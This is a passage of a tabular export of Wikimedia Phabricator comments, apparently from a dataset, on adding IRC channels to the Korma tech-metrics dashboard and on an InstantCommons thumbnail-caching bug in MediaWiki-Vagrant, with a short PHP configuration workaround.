+549126,Tech metrics missing IRC channels,Thanks! Closing.,,,1445360976,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,120,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+549119,Tech metrics missing IRC channels,"Ok, channels are updated.
+
+Having a JSON file with the list of channels and log place would be awesome :).
+
+@Aklapper, from my side feel free to close the task if you prefer to have further discussion about automation in another ticket.",,,1445360460,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+549026,Tech metrics missing IRC channels,"Also note my last comment at https://github.com/benapetr/wikimedia-bot/pull/49#issuecomment-149596883
+It would be trivial for this to all be in json format too but I would leave that for @petrb to implement!",,,1445354068,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0
+549024,Tech metrics missing IRC channels,">>! In T56230#1735259, @Aklapper wrote:
+>>>! In T56230#1734947, @Dicortazar wrote:
+>> is there a way to automatically retrieve the list of available channels?.
+> 
+> for ""automatically retrieve the list of channels **which are logged by wm-bot**"" I have asked its maintainer and will update this task once I've received an answer.
+
+<addshore> the list is not on github! You manage the setting per channel through the bot!
+<addshore> http://bots.wmflabs.org/~wm-bot/dump/systemdata.htm
+<addshore> that has all of the info on it, updated every 20 mins
+<addshore> there isn't a structured form currently though",,,1445353892,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,120,,1,0,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1
+548838,Tech metrics missing IRC channels,">>! In T56230#1737513, @Qgil wrote:
+> Do we need to remove deprecated channels?
+
+No, so I've canceled https://github.com/Bitergia/mediawiki-repositories/pull/8
+
+>>! In T56230#1736157, @Dicortazar wrote:
+> we just need to add the listed channels in that irc_channels.conf file and we would be done here :).
+
+Awesome! Feel free to close this longstanding task after merging https://github.com/Bitergia/mediawiki-repositories/pull/9
+
+We (I?) can create separate tasks to discuss whether to get certain channels logged by wm-bot (""mediawiki-i18n"", ""mediawiki-parsoid"", ""mediawiki-scripts"", ""wikimedia-cep"", ""wikimedia-design"", ""wikimedia-ect"", ""wikimedia-perf"", ""wikimedia-qa"", ""wikimedia-search"", ""pywikibot"") and after deciding, getting them added to korma later.",,,1445331981,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,120,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,1
+548826,Tech metrics missing IRC channels,"This depends on your needs. I mean, as we're not automatically retrieving IRC channels information, we can keep as many channels as you want.
+
+The irc_channels.conf file is more a place to centralize requirements from Korma than an automated place to retrieve IRC info. On the other hand, as we successfully automated Gerrit projects, the Gerrit .conf file is a place where automatically info is updated, added and removed.",,,1445329859,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+548824,Tech metrics missing IRC channels,"Do we need to remove deprecated channels? Isn't their information useful to
+count contributions of related users in those channels?",,,1445329360,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+548545,Tech metrics missing IRC channels,"@Aklapper, what I've done so far is to manually add them to the infrastructure (this is indeed a script deleting, removing, adding URLs, tar.gz, etc) and I wanted to add that list of TRACKED channels once the process if finished and correct (still running).
+
+And yes, as you comment, we just need to add the listed channels in that irc_channels.conf file and we would be done here :).",,,1445286147,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,1
+548524,Tech metrics missing IRC channels,">>! In T56230#1735971, @Dicortazar wrote:
+> Based on info provided by @Aklapper, I've added all of them
+
+Thank you. 
+I think we're cool with this list for now; adding any further potential channels would first require making them logged on the Wikimedia side of things.
+
+@Dicortazar: For my understanding of the infrastructure: where did you ""add"" them? Any URL to some public diff? I guess the next and last step for one of us is to provide a pull request to `mediawiki-repositories/irc_channels.conf` adding those TRACKED channels and after merging that pull request we are done here?",,,1445284658,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,120,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1
+548494,Tech metrics missing IRC channels,"Based on info provided by @Aklapper, I've added all of them, but mediawiki that was already in the list.
+
+So, the list is as follows:
+
+* ""mediawiki"": TRACKED
+* ""mediawiki-i18n"": 
+* ""semantic-mediawiki"": TRACKED
+* ""mediawiki-parsoid"":
+* ""mediawiki-visualeditor"": TRACKED
+* ""mediawiki-scripts"":
+* ""wikimedia-tech"": TRACKED
+* ""wikimedia-dev"": TRACKED
+* ""wikimedia-toolserver"": TRACKED
+* ""wikimedia-labs"": TRACKED
+* ""wikimedia-labs-nagios"":
+* ""wikimedia-ai"": TRACKED
+* ""wikimedia-analytics"": TRACKED
+* ""wikimedia-cep"":
+* ""mediawiki-core"": TRACKED
+* ""wikimedia-collaboration"": TRACKED
+* ""wikimedia-databases"": TRACKED
+* ""wikimedia-design"":
+* ""wikimedia-ect"":
+* ""wikimedia-fundraising"": TRACKED
+* ""wikimedia-mobile"": TRACKED
+* ""wikimedia-multimedia"": TRACKED
+* ""wikimedia-operations"": TRACKED
+* ""wikimedia-perf"":
+* ""wikimedia-qa"":
+* ""wikimedia-releng"": TRACKED
+* ""wikimedia-research"": TRACKED
+* ""wikimedia-search"":
+* ""wikimedia-teampractices"": TRACKED
+* ""huggle"": TRACKED
+* ""pywikibot"":
+* ""wikidata"" TRACKED",,,1445281870,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0
+548364,Tech metrics missing IRC channels,">>! In T56230#1734947, @Dicortazar wrote:
+> I'll close that pull request since the place to add/remove repositories takes place at https://github.com/Bitergia/mediawiki-repositories
+
+Thanks! Good to know.
+
+> On the other hand, is there a way to automatically retrieve the list of available channels?.
+
+I'm afraid that technically speaking the answer is no. However for ""automatically retrieve the list of channels **which are logged by wm-bot**"" I have asked its maintainer and will update this task once I've received an answer.
+
+> Finally, the list of updated repos analyzed by Korma are found at http://korma.wmflabs.org/browser/data/json/irc-repos.json
+
+""wikimedia-toolserver"" is irrelevant nowadays, I've created https://github.com/Bitergia/mediawiki-repositories/pull/8 to remove it.
+
+> For the rest of the non TRACKED IRC channels, there's missing information in some cases at https://meta.wikimedia.org/wiki/IRC/Channels about where the logs are stored.
+
+Taking the list of channels which are not listed in our configuration yet, and which I'd be interested in, and which I could find public logs for in folders which saw recent updates:
+* ""mediawiki"" - https://bots.wmflabs.org/~wm-bot/logs/%23mediawiki/
+* ""mediawiki-visualeditor"" - https://bots.wmflabs.org/~wm-bot/logs/%23mediawiki-visualeditor/
+* ""wikimedia-ai"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-ai/
+* ""mediawiki-core"" - https://bots.wmflabs.org/~wm-bot/logs/%23mediawiki-core/
+* ""wikimedia-collaboration"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-collaboration/
+* ""wikimedia-databases"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-databases/
+* ""wikimedia-multimedia"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-multimedia/
+* ""wikimedia-releng"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-releng/
+* ""wikimedia-research"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-research/
+* ""wikimedia-teampractices"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-teampractices/
+* ""wikidata"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikidata/
+
+Removing myself as assignee here as I don't know how the ""grab those logs"" infrastructure works exactly.",,,1445272505,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,120,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+548304,Tech metrics missing IRC channels,"And regarding to the rest of IRC channels. Do we have logs for all of them?
+
+The following ones were the ones added in the GitHub change:
+
+* ""mediawiki"": TRACKED
+* ""mediawiki-i18n"": 
+* ""semantic-mediawiki"": TRACKED
+* ""mediawiki-parsoid"":
+* ""mediawiki-visualeditor"":
+* ""mediawiki-scripts"":
+* ""wikimedia-tech"": TRACKED
+* ""wikimedia-dev"": TRACKED
+* ""wikimedia-toolserver"": TRACKED
+* ""wikimedia-labs"": TRACKED
+* ""wikimedia-labs-nagios"":
+* ""wikimedia-ai"":
+* ""wikimedia-analytics"": TRACKED
+* ""wikimedia-cep"":
+* ""mediawiki-core"":
+* ""wikimedia-collaboration"":
+* ""wikimedia-databases"":
+* ""wikimedia-design"":
+* ""wikimedia-ect"":
+* ""wikimedia-fundraising"": TRACKED
+* ""wikimedia-mobile"": TRACKED
+* ""wikimedia-multimedia"":
+* ""wikimedia-operations"": TRACKED
+* ""wikimedia-perf"":
+* ""wikimedia-qa"":
+* ""wikimedia-releng"":
+* ""wikimedia-research"":
+* ""wikimedia-search"":
+* ""wikimedia-teampractices"":
+* ""huggle"": TRACKED
+* ""pywikibot"":
+* ""wikidata""
+
+For the rest of the non TRACKED IRC channels, there's missing information in some cases at https://meta.wikimedia.org/wiki/IRC/Channels about where the logs are stored.",,,1445267841,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0
+548274,Tech metrics missing IRC channels,"I've commented on the GitHub repo.
+
+As a summary: I'll close that pull request since the place to add/remove repositories takes place at https://github.com/Bitergia/mediawiki-repositories
+
+On the other hand, is there a way to automatically retrieve the list of available channels?.
+
+Finally, the list of updated repos analyzed by Korma are found at http://korma.wmflabs.org/browser/data/json/irc-repos.json, but there are some more than the initial four: ""wikimedia-operations"", ""mediawiki"", ""wikimedia-dev"", ""wikimedia-labs"", ""wikimedia-mobile"", ""wikimedia-toolserver"", ""wikimedia-tech"", ""wikimedia-analytics"", ""wikimedia-fundraising"", ""semantic-mediawiki"", ""huggle""
+",,,1445265939,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,0,1,0,0
+540747,Tech metrics missing IRC channels,">>! In T56230#1557951, @Dicortazar wrote:
+> I'll check that list and update those channels in Korma.
+
+@Dicortazar: Clean pull request now in https://github.com/Bitergia/mediawiki-dashboard/pull/62",,,1443943426,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,117,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+511890,Tech metrics missing IRC channels,"(let's keep the discussion of this task focused on IRC channels, not mixing it with code repositories)",,,1440097412,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,111,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+511819,Tech metrics missing IRC channels,"Thanks for this update!
+
+I'll check that list and update those channels in Korma.
+
+@Dzahn and @Aklapper, I'm still working on the feature to automate the list of repositories to be tracked by Korma at {T104845}. In summary this will provide a list of repositories per data source and a black list for each of them.
+
+Thus, anyone interested in tracing new repositories or in adding some of them to the black list, should modify such lists and pull request a change.
+
+A first version of the files are available at GitHub in https://github.com/Bitergia/mediawiki-repositories. Those are old versions, so we shouldn't change those a lot.
+
+So, if we keep that workflow, @Aklapper, my suggestion is to add a new config file to the GitHub repo (irc_channels.conf) with the correct list of repositories (sorted). I can do this in any case with the new list you provided. This will help to centralized those lists of repos.
+
+Comments are welcome in any case :). It's a bit complex task to automate and trace repositories, but this could be an interesting feature for all of us :).",,,1440091921,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,111,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,0,1
+511694,Tech metrics missing IRC channels,"So that updated list would be https://github.com/Bitergia/mediawiki-dashboard/pull/59/files (and obviously my GitHub workflow skills are still improvable, sigh)",,,1440085780,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,111,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+489974,Tech metrics missing IRC channels,">>! In T56230#1443372, @Dzahn wrote:
+> How do you add channels to korma?
+
+Editing `/browser/data/json/irc-repos.json` in https://github.com/Bitergia/mediawiki-dashboard",,,1436531313,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,105,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1
+489720,Tech metrics missing IRC channels,How do you add channels to korma?,,,1436481722,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,105,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+463994,Tech metrics missing IRC channels,"Once {T96371} is closed, we may want to work on this task again.
+
+We can discuss this during this Friday conf call and leave it as June task.",,,1432652217,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,99,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+241881,Tech metrics missing IRC channels,%%%*** Bug 60079 has been marked as a duplicate of this bug. ***%%%,,,1395751080,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,38,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+241877,Tech metrics missing IRC channels,IRC channels are not that critical. Normal priority.,,,1380233157,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+241871,Tech metrics missing IRC channels,"Ooops, actually Nemo is (again) right:
+
+https://meta.wikimedia.org/wiki/IRC/Channels#MediaWiki_and_technical
+https://meta.wikimedia.org/wiki/IRC/Channels#Tools",,,1379541015,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+241867,Tech metrics missing IRC channels,"Check the URL above. I'm proposing only the ""MediaWiki and technical"" section plus #pywikipediabot",,,1379513170,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+241862,Tech metrics missing IRC channels,"There are 261 Wikimedia IRC channels. We want to gather all those channels?
+
+I think it is not a big issue to configure and implement it, but it could be an important delay and resource consuming in the update process because logs are included in one big file per channel and the incremental support can not be implemented.
+
+http://bots.wmflabs.org/~wm-bot/logs/
+
+Is there any other place with logs for IRC channels?",,,1379498684,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+56202,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"InstantCommons does not work on Vagrant if you enable the 404 handler for images (the `thumb_on_404` role does that and most multimedia roles include it). The problem is related to thumbnail caching; similar to T101565, but the default wiki (`127.0.0.1`) is also affected.
+
+As a workaround, caching can be disabled by creating `/vagrant/settings.d/10-DisableThumbnailCaching.php` with
+```
+<?php
+$wgUseInstantCommons = false;
+$wgForeignFileRepos[] = array(
+	'class' => 'ForeignAPIRepo',
+	'name' => 'wikimediacommons',
+	'apibase' => 'http://commons.wikimedia.org/w/api.php',
+	'fetchDescription' => true,
+	'descriptionCacheExpiry' => 0,
+	'apiThumbCacheExpiry' => 0,
+);
+```
+",Low,25.0,1379384100,1468099239.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_description,resolved,True,c1,3,True,False,False,11,,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1
+691484,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,Please reopen or file a new bug if you can reproduce.,,,1468099239,,PHID-USER-ll6tmaogat2b5q7tnqas,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,True,,,157,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+627765,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,IIRC yes but much harder to trigger than it used to be. But I'm may be wrong - I only vaguely remember what this was about.,,,1457652757,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,140,,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0
+627628,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,@Tgr is this still an ongoing problem?,,,1457644136,,PHID-USER-ll6tmaogat2b5q7tnqas,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,True,,,140,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0
+490268,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Change 223480 abandoned by Gergő Tisza:
+Use 404 handler for all wikis when the role is enabled
+
+Reason:
+There doesn't seem to be a way to do this correctly.
+
+[[https://gerrit.wikimedia.org/r/223480]]",,,1436559679,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+488964,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Change 223493 merged by jenkins-bot:
+Fix thumb on 404 role for multiwiki reality
+
+[[https://gerrit.wikimedia.org/r/223493]]",,,1436391322,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+488430,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Change 223477 merged by jenkins-bot:
+Fix thumb rewrite rules
+
